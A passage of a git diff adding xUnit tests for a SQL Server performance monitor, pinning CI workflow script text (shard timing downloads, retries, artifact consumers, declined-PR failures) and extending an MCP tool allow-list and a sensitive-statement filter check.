+        Assert.Contains("$shards = $ShardCount", run, StringComparison.Ordinal);
+        Assert.DoesNotContain("% 4", run, StringComparison.Ordinal);
+        Assert.Contains("($hash[0] % $shards) -eq $Shard", run, StringComparison.Ordinal);
+
+        /* ...and job-total is the shard count only while `shard` is the matrix's one axis: a second axis (an OS, say)
+           raises job-total while matrix.shard stays 0-3, so the packer would write buckets no leg reads and those
+           classes would never run, with no leg selecting zero. On a one-axis matrix job-index IS the shard value, so
+           each leg checks that and fails when it is not, before either cut uses $shards. */
+        Assert.Contains("if ($JobIndex -ne $Shard) { throw ", run, StringComparison.Ordinal);
+        Assert.Matches(@"\$shards = \$ShardCount\s+(?:#[^\r\n]*\s+)*if \(\$JobIndex -ne \$Shard\) \{ throw [^\r\n]*\}\s+if \(\$TimingRun -match ", run);
+
+        /* The download is tried three times, and every try starts from an EMPTY folder: gh extracts each file
+           create-exclusive, so a file a partial try left would make tries 2 and 3 fail too. The native-command
+           error preference is off before the first try, so a failed gh call reaches the retry instead of throwing
+           out of the step. */
+        Assert.Matches(@"\$PSNativeCommandUseErrorActionPreference = \$false\s+\$downloaded = \$false\s+foreach \(\$attempt in 1\.\.3\) \{\s+(?:#[^\r\n]*\s+)*Remove-Item -Recurse -Force -Path \$timingDir -ErrorAction SilentlyContinue\s+New-Item -ItemType Directory -Force -Path \$timingDir \| Out-Null\s+gh run download ", run);
+
+        /* A shard that cannot get the pinned timings, or whose packer or reconcile fails, FAILS: it never falls
+           back to the hash alone. The only fallbacks are the pin being empty (every shard reads the same empty
+           output) and the packer's own, which every shard reaches from the same files. */
+        Assert.Matches(@"if \(-not \$downloaded\) \{ throw ", run);
+        /* ...and so does a shard whose download is a different artifact set than the one the gate pinned (gh skips an
+           expired or deleted artifact without failing, so the exit code alone cannot see it). */
+        Assert.Matches(@"-ne \(\$got -join ','\)\) \{ throw ", run);
+        Assert.Matches(@"if \(\$packExit -ne 0\) \{ throw ", run);
+        Assert.Matches(@"reconcile --classes \$classesFile --shards \$shards --out \$planDir\s+if \(\$LASTEXITCODE -ne 0\) \{ throw ", run);
+        Assert.Contains("if ($TimingRun -match '^\\d+$')", run, StringComparison.Ordinal);
+
+        /* The logged plan id hashes each shard's file under its own label, so two different partitions of the same
+           classes cannot share an id, and the notice says every shard must print the same id instead of claiming
+           that they do (nothing compares them). */
+        Assert.Contains("\"shard-$_`n\" + (Get-Content -Raw -Path (Join-Path $planDir \"shard-$_.txt\"))", run, StringComparison.Ordinal);
+        Assert.Contains("Every shard of this run must print this same id.", run, StringComparison.Ordinal);
+        Assert.DoesNotContain("the same on every shard", run, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5208: the run listing the gate reads its timing source from sometimes returns a STALE page (30 rows of
+    /// runs from weeks ago, whose artifacts are long expired, where the current rows should be), and one such
+    /// page sent every Lite shard to the class-name hash although a qualifying run existed. So the step tries
+    /// the listing up to three times, five seconds apart, and takes a page only when a push run on it FINISHED
+    /// in the last five days. That is judged on <c>updated_at</c>, never <c>created_at</c>: artifacts expire
+    /// seven days after their UPLOAD, a run uploads before it finishes and a re-run uploads again, so a run
+    /// created six days ago and re-run today still has fresh timings. The five days are the timing artifacts'
+    /// retention minus the gate's two-day margin, read from build.yml so the three stay tied. A failed call is
+    /// a try, not the end of the loop, and each fallback notice says what the tries saw. Pinned as text because
+    /// the step only runs on a hosted runner (the script was also run under bash against a fake gh for each
+    /// outcome). The pins match words, not layout, so a re-indent, a re-wrap or a trailing comment does not
+    /// fail them and a changed word or value does.
+    /// </summary>
+    [Fact]
+    public void TheTimingSourceListing_IsTriedThreeTimes_AndAPageIsTakenOnlyWhenItsNewestPushRunIsFresh()
+    {
+        var yaml = ReadBuildYaml(RepoRoot());
+        /* A bash line continuation (a backslash at the end of a line) is joined first, so wrapping the long gh
+           call over several lines does not fail a pin on its words. */
+        var pin = Regex.Replace(StepBlock(JobBlock(yaml, "gate"), "Pin the Lite timing source"), @"\\\n[ \t]*", " ");
+
+        /* ONE listing call site: a second, unguarded one would sidestep the retry and the freshness test. */
+        Assert.Equal(1, pin.Split("actions/workflows/build.yml/runs?", StringSplitOptions.None).Length - 1);
+
+        /* Three tries and a five-day bar, each named once (the loop, the bar and the notices all read them), and
+           both counters start at zero. Each is matched as a word at the start of a line: any indentation and any
+           trailing comment pass, a changed value does not. */
+        Assert.Matches(@"(?m)^\s*tries=3\b", pin);
+        Assert.Matches(@"(?m)^\s*stale_days=5\b", pin);
+        Assert.Matches(@"(?m)^\s*stale_tries=0\b", pin);
+        Assert.Matches(@"(?m)^\s*failed_tries=0\b", pin);
+        Assert.Matches(ShellWords("export KEEP_UNTIL FRESH_AFTER"), pin);
+        Assert.Matches(ShellWords("FRESH_AFTER=$(date -u -d \"-${stale_days} days\" +%Y-%m-%dT%H:%M:%SZ)"), pin);
+
+        /* Five seconds before every try but the first, so the step never waits after its last try, and the listing
+           call is an `if` CONDITION. A failed call lands in the else arm below, which counts it and falls through
+           to the next try. Written as `page=$(gh api ...) || page=""`, a failed call would take the `*)` arm, set
+           runs to nothing and BREAK: the first 502 would end the loop with no retry. */
+        Assert.Matches(
+            ShellWords(
+                "for attempt in $(seq 1 \"${tries}\"); do " +
+                "if [ \"${attempt}\" -gt 1 ]; then sleep 5 fi " +
+                "if page=$(gh api \"repos/${GH_REPO}/actions/workflows/build.yml/runs?branch=dev&status=success&per_page=30\" " +
+                "--jq '[.workflow_runs[] | select(.event == \"push\")] | (map(.updated_at) | max) as $newest | " +
+                "if $newest > env.FRESH_AFTER then .[].id else \"stale \\($newest // \"none\")\" end'); then " +
+                "case \"${page}\" in"),
+            pin);
+
+        /* The page is judged on when its newest PUSH run FINISHED (updated_at) against the cutoff, in the filter
+           pinned above. NOT created_at: artifacts expire seven days after their upload, so a run created over five
+           days ago, or re-run since, can still hold fresh timings. A pull request from dev carries head_branch dev
+           too, and its row must not make a stale page look fresh, hence the event test in that same filter. */
+        Assert.False(
+            pin.Contains(".created_at", StringComparison.Ordinal),
+            "the step must not read created_at: judge the page on updated_at (when a run finished), because timing artifacts expire from their upload");
+
+        /* A stale page is counted and tried again; anything else is the fresh page's ids, which end the loop and
+           feed the per-run artifact test below, still the one that decides whether a run qualifies. A failed call
+           is counted and tried again too: the else arm holds the counter and the log line and nothing else, so a
+           `break` added there (which would end the loop on the first failure) fails here. */
+        Assert.Matches(
+            @"stale\*\)\s+stale_tries=\$\(\(\s*stale_tries\s*\+\s*1\s*\)\)\s+echo [^\r\n]*\s+;;\s+\*\)\s+runs=""\$\{page\}""\s+break\s+;;\s+esac",
+            pin);
+        Assert.Matches(
+            @"esac\s+else\s+failed_tries=\$\(\(\s*failed_tries\s*\+\s*1\s*\)\)\s+echo ""Try \$\{attempt\} of \$\{tries\}: the run listing call failed\.""\s+fi\s+done\b",
+            pin);
+        Assert.Matches(ShellWords("all(.[]; (.expired | not) and (.expires_at > env.KEEP_UNTIL))"), pin);
+        var retryAt = pin.IndexOf("for attempt in ", StringComparison.Ordinal);
+        var perRunAt = pin.IndexOf("for id in ${runs}; do", StringComparison.Ordinal);
+        Assert.True(retryAt > 0 && perRunAt > retryAt, "the retry loop must run before the per-run artifact test");
+
+        /* The five-day bar is not a free number. A run qualifies only if its timing artifacts outlive KEEP_UNTIL
+           (now plus the margin) and they expire retention-days after their upload, so only a run that finished
+           within retention minus margin days can qualify: the bar IS that difference. Raise the retention to 14
+           with the bar left at 5 and every page whose newest push run finished 5 to 12 days ago is rejected, which
+           is the quiet-dev case this step exists for, and the fallback is silent (the hash). So the three are read
+           from build.yml and tied, and the bar stays below the retention. */
+        var upload = StepBlock(JobBlock(yaml, "lite-tests"), "Upload Lite test timings");
+        var retentionDays = DaysFrom(upload, @"retention-days:\s*(\d+)", "the lite-tests job's 'Upload Lite test timings' step no longer sets retention-days");
+        var marginDays = DaysFrom(pin, @"KEEP_UNTIL=\$\(date\s+-u\s+-d\s+'\+(\d+)\s+days'", "KEEP_UNTIL is no longer 'now plus N days'");
+        var staleDays = DaysFrom(pin, @"(?m)^\s*stale_days=(\d+)\b", "stale_days is gone");
+        Assert.True(staleDays < retentionDays, $"stale_days ({staleDays}) must stay below the timing artifacts' retention-days ({retentionDays})");
+        Assert.Equal(retentionDays - marginDays, staleDays);
+
+        /* Four notices, in this order, each chosen by what the tries saw: a pinned run; every call failed; no try
+           got a current page (stale, empty or push-less pages, with failed calls among them, and no run was
+           tested); and a current page that was read where no run on it qualified (the old text, which also
+           covers a failed artifact lookup). The old "returned only runs older than" text said a page held runs
+           when an empty or push-less page holds none, and the old catch-all text said a current page had been
+           checked when no page had been taken. */
+        Assert.Matches(
+            ShellWords(
+                "if [ -n \"${source_run}\" ]; then " +
+                "echo \"::notice title=Lite timing source::The Lite shards balance their cut from the timings of run ${source_run}, the newest successful push run on dev that still has them.\" " +
+                "elif [ \"${failed_tries}\" -eq \"${tries}\" ]; then " +
+                "echo \"::notice title=Lite timing source::The run listing call failed on all ${tries} tries, so every Lite shard cuts by class-name hash.\" " +
+                "elif [ -z \"${runs}\" ]; then " +
+                "echo \"::notice title=Lite timing source::The run listing gave no current page in ${tries} tries (${stale_tries} returned no push run that finished in the last ${stale_days} days, a stale API page or no push run that recent, and ${failed_tries} failed), so every Lite shard cuts by class-name hash.\" " +
+                "else " +
+                "echo \"::notice title=Lite timing source::No successful dev push run has unexpired Lite timings (or the lookup failed), so every Lite shard cuts by class-name hash.\" " +
+                "fi"),
+            pin);
+        Assert.DoesNotContain("returned only runs older than", pin, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A regex for a piece of shell: its words, each matched literally, with any run of whitespace (a newline and
+    /// indentation included) allowed wherever the text has a space. Lets a pin on a build.yml run script survive
+    /// a re-indent or a re-wrap while a changed word still fails it.
+    /// </summary>
+    private static string ShellWords(string shell) =>
+        string.Join(
+            @"\s+",
+            shell.Split(new[] { ' ', '\t', '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries).Select(Regex.Escape));
+
+    /// <summary>The one number a pattern captures, with a message that names what went missing instead of a parse error.</summary>
+    private static int DaysFrom(string text, string pattern, string whatIsGone)
+    {
+        var match = Regex.Match(text, pattern);
+        Assert.True(match.Success, whatIsGone);
+        return int.Parse(match.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>
+    /// The cancel-in-progress argument at the top of build.yml rests on one sentence: exactly one thing reads
+    /// another run's artifacts, the Lite shard packer's download, and it reads successful runs only. If a second
+    /// consumer appeared (a download-artifact or gh run download step, a workflow_run trigger), a cancelled
+    /// push run could starve it and that sentence would be false. Comment lines are not counted, so the prose
+    /// may name these words.
+    /// </summary>
+    [Fact]
+    public void ExactlyOneConsumerReadsAnotherRunsArtifacts_TheLiteShardPackersDownload()
+    {
+        var workflows = Path.Combine(RepoRoot(), ".github", "workflows");
+        var files = Directory.GetFiles(workflows, "*.yml");
+        Assert.Contains(files, f => Path.GetFileName(f) == "build.yml");
+
+        foreach (var file in files)
+        {
+            var name = Path.GetFileName(file);
+            var code = File.ReadAllText(file)
+                .Replace("\r\n", "\n", StringComparison.Ordinal)
+                .Split('\n')
+                .Where(line => !line.TrimStart().StartsWith('#'))
+                .ToArray();
+
+            // build.yml has one: (#5459) the nightly's test map. It reads a NIGHTLY run, never a build.yml
+            // run, so a cancelled push run cannot starve it; the selection it yields reaches the shards as THIS run's
+            // own artifact (counted below), and a missing map only makes that selection FULL. The Lite
+            // shard packer's timings download (#5208) moved with the shard cut into run-lite-shard.ps1 (#5616), checked
+            // below; no workflow step has it any more.
+            var downloadLines = code.Where(line => line.Contains("gh run download", StringComparison.Ordinal)).ToArray();
+            var downloads = downloadLines.Length;
+            Assert.True(
+                downloads == (name == "build.yml" ? 1 : 0),
+                $"{name} has {downloads} 'gh run download' line(s); only build.yml may have one, for the test map.");
+            if (name == "build.yml")
+            {
+                Assert.Single(downloadLines, line => line.Contains("-n test-map ", StringComparison.Ordinal));
+            }
+
+            Assert.True(
+                !code.Any(line => line.TrimStart().StartsWith("run-id:", StringComparison.Ordinal)),
+                $"{name} downloads another run's artifacts through a run-id input; the cancel-in-progress argument in build.yml names only the Lite shard packer.");
+            Assert.True(
+                !code.Any(line => line.TrimStart().StartsWith("workflow_run:", StringComparison.Ordinal)),
+                $"{name} has a workflow_run trigger, a consumer of another run's output that build.yml's cancel-in-progress argument does not allow for.");
+        }
+
+        var build = File.ReadAllText(Path.Combine(workflows, "build.yml")).Replace("\r\n", "\n", StringComparison.Ordinal);
+        /* The one download-artifact use is the shards' fetch of THIS run's Guard build (#5459 change 2): the three jobs that
+           build the same test projects, each naming the Guard job's output and no run-id (the loop above pins that). A
+           fourth use, or one that names anything else, is a second reader the cancel-in-progress argument does not cover. */
+        var buildCode = string.Join('\n', build.Split('\n').Where(l => !l.TrimStart().StartsWith('#')));
+        /* Five more (#5459): the shadow-check job fetches THIS run's selection and THIS run's shard reports, and the
+           build, darling-pg and lite-tests jobs each fetch THIS run's selection before they narrow their classes.
+           Same run, no run-id (the loop above pins that), so a cancelled run's output is never read by another run. */
+        Assert.Equal(8, Regex.Matches(buildCode, "download-artifact").Count);
+        Assert.Equal(2, Regex.Matches(JobBlock(build, "shadow-check"), "uses: actions/download-artifact@v6").Count);
+        foreach (var jobKey in new[] { "build", "darling-pg", "lite-tests" })
+        {
+            var selection = StepBlock(JobBlock(build, jobKey), "Download the test map selection");
+            Assert.Contains("uses: actions/download-artifact@v6", selection, StringComparison.Ordinal);
+            Assert.Contains("name: test-map-selection", selection, StringComparison.Ordinal);
+        }
+
+        foreach (var jobKey in new[] { "darling-pg", "darling-tree-guards", "lite-tests" })
+        {
+            var fetch = StepBlock(JobBlock(build, jobKey), "Fetch the Guard job's build of the test project");
+            Assert.Contains("uses: actions/download-artifact@v6", fetch, StringComparison.Ordinal);
+            Assert.Contains("name: ${{ needs.guard-tests.outputs.", fetch, StringComparison.Ordinal);
+        }
+
+        /* The packer's download sits in the Lite shard script that the shard step calls (#5616), which is also what the
+           comment above the concurrency block names, so the prose and the code cannot part ways quietly. The script
+           is the only one of its kind: no other script in the folder downloads another run's artifacts, and the
+           nightly's own copy of the step is the same script call with no timing source. */
+        var shardStep = StepBlock(JobBlock(build, "lite-tests"), "Run Lite tests (shard)");
+        Assert.Contains("run-lite-shard.ps1", shardStep, StringComparison.Ordinal);
+        var scriptsDir = Path.Combine(RepoRoot(), ".github", "scripts");
+        var scriptDownloads = Directory.GetFiles(scriptsDir, "*.ps1")
+            .Where(f => File.ReadAllLines(f).Any(l => !l.TrimStart().StartsWith('#') && l.Contains("gh run download", StringComparison.Ordinal)))
+            .Select(Path.GetFileName)
+            .ToArray();
+        Assert.Equal(new[] { "run-lite-shard.ps1" }, scriptDownloads);
+        Assert.Single(
+            File.ReadAllLines(Path.Combine(scriptsDir, "run-lite-shard.ps1")),
+            l => !l.TrimStart().StartsWith('#') && l.Contains("gh run download", StringComparison.Ordinal) && l.Contains("--pattern 'lite-tests-timing-*'", StringComparison.Ordinal));
+        Assert.Contains("the Lite shard packer", build[..build.IndexOf("\nconcurrency:\n", StringComparison.Ordinal)], StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A pull request whose CI the gate declined (a draft, or one carrying the merge-train label) must not
+    /// read as passing: a skipped job counts as a pass for a required check. <c>build</c> still starts and
+    /// fails its first step, and both result jobs exit 1 on a pull request whose gate output is not true.
+    /// </summary>
+    [Fact]
+    public void ADeclinedRun_FailsBuildAndBothResultJobs_InsteadOfReadingAsGreen()
+    {
+        var yaml = ReadBuildYaml(RepoRoot());
+        const string message =
+            "::error title=CI not run::This pull request's CI was skipped (draft or merge-train label). "
+          + "It can be merged only by an admin override after a merge train covered it.";
+
+        foreach (var jobKey in new[] { "darling-pg-result", "lite-tests-result" })
+        {
+            var job = JobBlock(yaml, jobKey);
+            Assert.Contains("GATE_RUN: ${{ needs.gate.outputs.run }}", job, StringComparison.Ordinal);
+            Assert.Contains("EVENT_NAME: ${{ github.event_name }}", job, StringComparison.Ordinal);
+            Assert.Contains(
+                "if [ \"${EVENT_NAME}\" = \"pull_request\" ] && [ \"${GATE_RUN}\" != \"true\" ]; then\n"
+              + "            echo \"" + message + "\"\n            exit 1\n          fi\n",
+                job,
+                StringComparison.Ordinal);
+            Assert.Contains("needs: [gate, ", job, StringComparison.Ordinal);
+        }
+
+        /* `build` is a required check that would otherwise be merely skipped. It must start whatever the
+           gate said, and its first step must fail when the gate declined the run. */
+        var build = JobBlock(yaml, "build");
+        Assert.Contains("\n    if: ${{ !cancelled() }}\n", build, StringComparison.Ordinal);
+        var first = build[build.IndexOf("    steps:\n", StringComparison.Ordinal)..];
+        first = first[..first.IndexOf("\n      - uses: actions/checkout@v7", StringComparison.Ordinal)];
+        Assert.Contains("- name: Fail when CI did not run", first, StringComparison.Ordinal);
+        Assert.Contains("if: ${{ needs.gate.outputs.run != 'true' }}", first, StringComparison.Ordinal);
+        Assert.Contains(message, first, StringComparison.Ordinal);
+        Assert.Contains("exit 1", first, StringComparison.Ordinal);
+    }
+
+    /// <summary>The Lite shard script (#5616) both workflows call, LF-normalised.</summary>
+    internal static string ReadLiteShardScript(string repo) =>
+        File.ReadAllText(Path.Combine(repo, ".github", "scripts", "run-lite-shard.ps1")).Replace("\r\n", "\n", StringComparison.Ordinal);
+
     private static string ReadBuildYaml(string repo) =>
         File.ReadAllText(Path.Combine(repo, ".github", "workflows", "build.yml"))
             .Replace("\r\n", "\n", StringComparison.Ordinal);
diff --git a/Lite.Tests/CrossAppMcpToolInventoryPinTests.cs b/Lite.Tests/CrossAppMcpToolInventoryPinTests.cs
index 96a94cc6e6..c8679e831c 100644
--- a/Lite.Tests/CrossAppMcpToolInventoryPinTests.cs
+++ b/Lite.Tests/CrossAppMcpToolInventoryPinTests.cs
@@ -38,6 +38,8 @@ namespace Lite.Tests;
 /// miss a tool that relied on framework-derived naming.
 /// </para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class CrossAppMcpToolInventoryPinTests
 {
     private const string LiteMcpDir = "Lite/Mcp";
@@ -64,6 +66,8 @@ cannot acquire one (the engine gate never dispatches a PostgreSQL definition the
            nothing for a Lite twin to read. If Lite ever gains a PostgreSQL target, port these and delete
            them from here; the ratchet only shrinks. */
         "get_pg_wait_stats",
+        /* #4843: fleet-wide Agent job history. Lite has a Job History tab but no MCP read of it yet. */
+        "get_job_history",
         /* #2719: instance CPU via AWS Performance Insights. Same reason again, and doubly so — this reads
            the AWS RDS/Aurora SDK directly rather than a database connection at all, which Lite (a
            standalone desktop app with no AWS credentials of its own) has no route to regardless of target. */
@@ -180,6 +184,11 @@ Postgres store measuring ITSELF (hypertable sizes/compression, payload dims, who
            pg_stat_statements to read. A SKU boundary rather than a porting to-do. */
         "get_store_query_stats",
 
+        /* #5097: the store's own hourly statement history (get_store_query_history), the deltas of the same
+           pg_stat_statements the line above reads. Darling-ONLY for the same reason: Lite's DuckDB store has no
+           server, roles or pg_stat_statements. */
+        "get_store_query_history",
+
         /* #4214 part 2: the store HOST profile read (get_store_host) — platform/RAM/data volume, PostgreSQL
            and TimescaleDB facts, and a per-setting verdict against the managed sizing this store's host was
            derived from. Darling-ONLY by architecture, the get_store_metrics reason: Lite has no managed
@@ -209,6 +218,10 @@ A Lite twin would read an always-empty DuckDB table. If Lite's runner ever gains
            loop of this shape) has no twin of. */
         "get_read_latency",
 
+        /* #5097: the slow-read record's read (get_slow_reads) over collect.slow_reads - the monitoring tool's own
+           slow or failed reads. Darling-ONLY by architecture, the get_read_latency reason. */
+        "get_slow_reads",
+
         /* #3398: the oversized-plan backlog read (get_oversized_plan_backlog) over
            collect.oversized_plan_backlog - which cached plans the capture cap declined, and what the
            out-of-band sweep has since done about each one. Darling-ONLY by architecture rather than a porting
@@ -222,6 +235,32 @@ declines the same oversized plans - so Lite has the blind spot and not the recor
            shrinks. */
         "get_oversized_plan_backlog",
 
+        /* #5228: the raw-plan reads behind the web grids' plan buttons - get_query_store_plan_xml,
+           get_procedure_plan_xml and get_active_query_plan_xml. Darling-ONLY by architecture, the get_plan_xml
+           reason (#4871): Lite keeps no Query Store or procedure plan text to hand back (its plan tools answer
+           not_collected, PlanToolsNotKeptTests), and its Active Queries plan is fetched by the desktop grid
+           itself rather than over MCP. The /api/read mirror of these three is the web seat's, which Lite has
+           none of. If Lite ever serves stored plans over MCP, port these and delete the entries; the ratchet
+           only shrinks. */
+        "get_query_store_plan_xml",
+        "get_procedure_plan_xml",
+        "get_active_query_plan_xml",
+        /* #5233: the repro script behind the web plan panel's Repro button. Lite builds repro scripts in the desktop grid, not over MCP. */
+        "get_query_repro_script",
+
+        /* #5236: the blocking and deadlock plan reads behind the web grids' plan buttons - get_blocking_plan_xml and
+           get_deadlock_plan_xml. Darling-ONLY, and for a plainer reason than the three above: Lite never captures a
+           blocked-process or deadlock plan (its collectors never set CapturePlanXml, so the plan columns are written
+           NULL) and it has no UI that opens one. The /api/read mirror of these two is the web
+           seat's, which Lite has none of. If Lite ever captures these plans and serves them over MCP, port these and
+           delete the entries; the ratchet only shrinks. */
+        "get_blocking_plan_xml",
+        "get_deadlock_plan_xml",
+
+        /* #5234: get_query_store_query_history, the per-plan history behind the web Query Store grid's History
+           button. Darling-ONLY: Lite's history window reads DuckDB directly and has no MCP twin. */
+        "get_query_store_query_history",
+
         /* #3797: the Query Store clutter view (get_query_store_clutter) - per database the query_store
            collector's read cost off collection_log's fan-out rollup, plan churn off the raw query_store_stats
            plan identities, and the query_store_health options row; per server the non-sleep QDS_* wait deltas
@@ -302,11 +341,12 @@ over config.config_notification_routes (V131), the shape of set_mute_rule_enable
 
         /* Darling MCP server-onboarding write tools — add/remove the monitored servers in the CENTRAL store the
            whole fleet shares (config.config_monitored_servers). add_servers bulk-onboards (validate + in-process
-           probe + case-folded dedupe + DPAPI-encrypt + INSERT); remove_server DELETEs by the shared resolver.
+           probe + case-folded dedupe + seal the password + INSERT); remove_server DELETEs by the shared resolver.
            Darling-ONLY by architecture, not "not ported yet": Lite is a single-instance WPF app that monitors
            servers from its own local config + DuckDB, with no central service-honored monitored-server store, so
            there is no Lite twin to port (same reasoning as the Custom Views + alert-tuning tools above). */
         "add_servers",
+        "edit_server",
         "remove_server",
 
         /* #3285: the custom-alert-rule tools — the Darling MCP server's write surface for user-authored alert
@@ -328,6 +368,31 @@ there is no Lite twin to port (same reasoning as the Custom Views + alert-tuning
         "validate_custom_alert_rule",
         "test_custom_alert_rule",
         "list_custom_alert_templates",
+        /* #4843: Darling-only for now, not by architecture: the per-server trend reads (waits, CPU scheduler,
+           memory clerks, plan cache) have local DuckDB twins, so Lite could serve this tool later. */
+        "get_server_trend",
+        /* #5085: the fleet server-tag write tools (create/update/delete/assign/unassign_server_tag) write
+           config.server_tags and config.server_tag_map in the central Postgres store, the same Darling-ONLY kind
+           of entry as the custom-alert-rule tools above: Lite keeps its tags in its own local config. */
+        "create_server_tag",
+        "update_server_tag",
+        "delete_server_tag",
+        "assign_server_tag",
+        "unassign_server_tag",
+        // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+        "get_finops_inventory",
+        "get_finops_recommendations",
+        // FinOps web parity (#4843), set A ends.
+        // Each set belongs to one series of changes. Append to your own set only,
+        // so the two series never edit the same lines of this allow-list.
+        // Entries keep the allow-list's existing order and form.
+        // Set A and set B are separated on purpose: keep this gap.
+        //
+        //
+        //
+        // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+        "get_finops",
+        // FinOps web parity (#4843), set B ends.
     };
 
     [Fact]
diff --git a/Lite.Tests/CrossAppPresetValuePinTests.cs b/Lite.Tests/CrossAppPresetValuePinTests.cs
index 6d6f089c41..299a6a18ad 100644
--- a/Lite.Tests/CrossAppPresetValuePinTests.cs
+++ b/Lite.Tests/CrossAppPresetValuePinTests.cs
@@ -33,6 +33,8 @@ namespace Lite.Tests;
 /// so a parser bug fails that self-test rather than silently passing the cross-app comparison.
 /// </para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class CrossAppPresetValuePinTests
 {
     private const string LiteSchedulePath = "Lite/Services/ScheduleManager.cs";
diff --git a/Lite.Tests/CrossAppStatementFilterPinTests.cs b/Lite.Tests/CrossAppStatementFilterPinTests.cs
new file mode 100644
index 0000000000..3fd3c50010
--- /dev/null
+++ b/Lite.Tests/CrossAppStatementFilterPinTests.cs
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348: the cross-app source pin of the statement filter's MCP half. Both hosts register the SAME shared filter
+/// object, last in their call-tool list, and Lite's plan tools read a stored plan only through the one filtered seam.
+/// Source pins, because the defect they hold off is a wiring omission: every tool would still answer, unfiltered.
+/// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
+public sealed class CrossAppStatementFilterPinTests
+{
+    private const string Registration = "AddCallToolFilter(SensitiveStatementOutputFilter.Instance)";
+
+    [Fact]
+    public void BothHosts_RegisterTheSharedStatementFilter_Once_AndLast()
+    {
+        foreach (string relative in new[]
+        {
+            Path.Combine("Lite", "Mcp", "McpHostService.cs"),
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs"),
+        })
+        {
+            string source = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(Path.Combine(RepoRoot(), relative)));
+            string raw = File.ReadAllText(Path.Combine(RepoRoot(), relative));
+
+            Assert.Single(Regex.Matches(source, @"AddCallToolFilter\(\s*SensitiveStatementOutputFilter\.Instance\s*\)"));
+            int last = raw.LastIndexOf(".AddCallToolFilter(", StringComparison.Ordinal);
+            Assert.True(
+                last > 0 && string.CompareOrdinal(raw, last + 1, Registration, 0, Registration.Length) == 0,
+                relative + " does not register the shared statement filter as its LAST call-tool filter.");
+        }
+
+        Assert.Equal("PerformanceMonitor.Common", typeof(PerformanceMonitor.Common.SensitiveStatementOutputFilter).Namespace);
+    }
+
+    [Fact]
+    public void LitesHost_RegistersItsFilterList_ThroughTheOneMethodTheTestsRun()
+    {
+        string source = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Mcp", "McpHostService.cs"));
+
+        Assert.Matches(@"\.WithRequestFilters\(\s*AddCallToolFilters\s*\)", source);
+    }
+
+    /// <summary>The three plan reads the filtered seam (<c>McpPlanTools.Read*PlanAsync</c>) wraps: each is called exactly
+    /// once under <c>Lite/Mcp</c>, in <c>McpPlanTools.cs</c>.</summary>
+    private static readonly string[] SeamReads = { "GetCachedQueryPlanAsync", "GetCachedProcedurePlanAsync", "FetchQueryStorePlanAsync" };
+
+    /// <summary>Every plan read <c>LocalDataService</c> has, found by reflection (a method returning
+    /// <c>Task&lt;string?&gt;</c> whose name holds "Plan"), so a plan read added later joins the pin with no edit here.</summary>
+    private static string[] AllPlanReads() => typeof(PerformanceMonitorLite.Services.LocalDataService)
+        .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static | BindingFlags.DeclaredOnly)
+        .Where(m => m.ReturnType == typeof(Task<string>) && m.Name.Contains("Plan", StringComparison.Ordinal))
+        .Select(m => m.Name)
+        .Distinct(StringComparer.Ordinal)
+        .OrderBy(n => n, StringComparer.Ordinal)
+        .ToArray();
+
+    /// <summary>The offences in <paramref name="sources"/> (file name, source text): a seam read called anywhere but
+    /// <c>McpPlanTools.cs</c> (or not exactly once there), and any other plan read called at all.</summary>
+    private static List<string> UnseamedPlanReads(IEnumerable<(string File, string Source)> sources)
+    {
+        var stripped = sources.Select(f => (f.File, Source: CSharpSourceWalker.StripCommentsAndStrings(f.Source))).ToList();
+        var offences = new List<string>();
+        foreach (string read in AllPlanReads())
+        {
+            var callers = stripped
+                .Select(f => (f.File, Count: Regex.Matches(f.Source, Regex.Escape(read) + @"\s*\(").Count))
+                .Where(c => c.Count > 0)
+                .ToList();
+            bool ok = SeamReads.Contains(read, StringComparer.Ordinal)
+                ? callers.Count == 1 && callers[0] == ("McpPlanTools.cs", 1)
+                : callers.Count == 0;
+            if (!ok) offences.Add(read + " <- " + string.Join(", ", callers.Select(c => c.File + " x" + c.Count)));
+        }
+
+        return offences;
+    }
+
+    [Fact]
+    public void LitesPlanTools_ReadAStoredPlan_OnlyThroughTheFilteredSeam()
+    {
+        string dir = Path.Combine(RepoRoot(), "Lite", "Mcp");
+        var sources = Directory.GetFiles(dir, "*.cs").Select(f => (Path.GetFileName(f), File.ReadAllText(f))).ToList();
+
+        // the reflection finds all nine reads today, the seam's three among them: a rename that loses one fails here
+        string[] all = AllPlanReads();
+        Assert.True(all.Length >= 9, "the reflection should find every LocalDataService plan read, found: " + string.Join(", ", all));
+        foreach (string expected in SeamReads.Concat(new[]
+        {
+            "GetSnapshotPlanTextAsync", "ResolveSnapshotEstimatedPlanAsync", "ResolveSnapshotLivePlanAsync",
+            "FetchQueryPlanOnDemandAsync", "FetchProcedurePlanOnDemandAsync", "FetchPlanBySqlHandleAsync",
+        }))
+        {
+            Assert.Contains(expected, all);
+        }
+
+        Assert.Empty(UnseamedPlanReads(sources));
+
+        string plans = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(Path.Combine(dir, "McpPlanTools.cs")));
+        Assert.Contains("SensitiveStatements.Xml(", plans);
